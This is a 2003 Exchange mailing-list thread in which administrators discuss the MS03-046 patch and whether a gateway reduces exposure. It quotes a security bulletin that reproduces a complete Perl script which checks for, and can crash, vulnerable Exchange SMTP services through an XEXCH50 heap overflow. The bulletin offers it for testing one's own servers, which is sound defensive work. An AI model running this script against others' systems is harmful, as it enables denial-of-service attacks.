We have a Linux gateway in front of our Exchange box, however I still applied the patch just to be safe. No problems here.
Exchange 5.5, Win2k SP4, single site, single server. Steven --- Steven Dickenson <[EMAIL PROTECTED]> Network Administrator The Key School, Annapolis Maryland -----Original Message----- From: Ben Winzenz [mailto:[EMAIL PROTECTED] Sent: Wednesday, October 22, 2003 12:25 PM To: Exchange Discussions Subject: RE: MS03-046 Patch When I read the write-up, it seems to only be a critical patch if your Exchange server is directly facing the internet, meaning port 25 of Exchange is what other servers connect to and deliver mail to. If you have something else in front of Exchange, such as a gateway, you are not vulnerable to this. Ben Winzenz Network Engineer Gardner & White (317) 581-1580 ext 418 -----Original Message----- From: Clemens, Rick [mailto:[EMAIL PROTECTED] Posted At: Wednesday, October 22, 2003 11:19 AM Posted To: Exchange (Swynk) Conversation: MS03-046 Patch Subject: MS03-046 Patch Are we seeing any issues with this patch? It seems the exploit code is available. Microsoft Exchange 2000 Heap Overflow (XEXCH50) As we reported in our previous article Vulnerability in Exchange Server Could Allow Arbitrary Code Execution (MS03-046), a vulnerability in the Exchange Server allows remote attackers to cause the Exchange Server to execute arbitrary code. The following exploit code can be used to test your server for the mentioned vulnerability (It causes a denial of service on vulnerable servers). Exploit: #!/usr/bin/perl -w ################## ## # ms03-046.pl - hdm[at]metasploit.com ## use strict; use IO::Socket; my $host = shift() || usage(); my $mode = shift() || "CHECK"; my $port = 25; if (uc($mode) eq "CHECK") { check() } if (uc($mode) eq "CRASH") { crash() } usage(); sub check { my $s = SMTP($host, $port); if (! $s) { print "[*] Error establishing connection to SMTP service.\n"; exit(0); } print $s "XEXCH50 2 2\r\n"; my $res = <$s>; close ($s); # a patched server only allows XEXCH50 after NTLM authentication if ($res =~ /authentication/i) { print "[*] This server has been patched or is not vulnerable.\n"; exit(0); } print "[*] This system is vulnerable: $host:$port\n"; exit(0); } sub crash { my $s = SMTP($host, $port); if (! $s) { print "[*] Error establishing connection to SMTP service.\n"; exit(0); } # the negative value allows us to overwrite random heap bits print $s "XEXCH50 -1 2\r\n"; my $res = <$s>; # a patched server only allows XEXCH50 after NTLM authentication if ($res =~ /authentication/i) { print "[*] This server has been patched or is not vulnerable.\n"; exit(0); } print "[*] Sending massive heap-smashing string...\n"; print $s ("META" x 16384); # sometimes a second connection is required to trigger the crash $s = SMTP($host, $port); exit(0); } sub usage { print STDERR "Usage: $0 <host> [CHECK|CRASH]\n"; exit(0); } sub SMTP { my ($host, $port) = @_; my $s = IO::Socket::INET->new ( PeerAddr => $host, PeerPort => $port, Proto => "tcp" ) || return(undef); my $r = <$s>; return undef if !$r; if ($r !~ /Microsoft/) { chomp($r); print STDERR "[*] This does not look like an exchange server: $r\n"; return(undef); } print $s "HELO X\r\n"; $r = <$s>; return undef if !$r; print $s "MAIL FROM: DoS\r\n"; $r = <$s>; return undef if !$r; print $s "RCPT TO: Administrator\r\n"; $r = <$s>; return undef if !$r; return($s); } Additional Information: The information has been provided by H D Moore. ======================================================================== ======== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: [EMAIL PROTECTED] In order to subscribe to the mailing list and receive advisories in HTML format, simply forward this email to: [EMAIL PROTECTED] ======================================================================== ======== ======================================================================== ======== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. _________________________________________________________________ List posting FAQ: http://www.swinc.com/resource/exch_faq.htm Web Interface: http://intm-dl.sparklist.com/cgi-bin/lyris.pl?enter=exchange&text_mode=&; lang=english To unsubscribe: mailto:[EMAIL PROTECTED] Exchange List admin: [EMAIL PROTECTED] _________________________________________________________________ List posting FAQ: http://www.swinc.com/resource/exch_faq.htm Web Interface: http://intm-dl.sparklist.com/cgi-bin/lyris.pl?enter=exchange&text_mode=&lang =english To unsubscribe: mailto:[EMAIL PROTECTED] Exchange List admin: [EMAIL PROTECTED] _________________________________________________________________ List posting FAQ: http://www.swinc.com/resource/exch_faq.htm Web Interface: http://intm-dl.sparklist.com/cgi-bin/lyris.pl?enter=exchange&text_mode=&lang=english To unsubscribe: mailto:[EMAIL PROTECTED] Exchange List admin: [EMAIL PROTECTED]
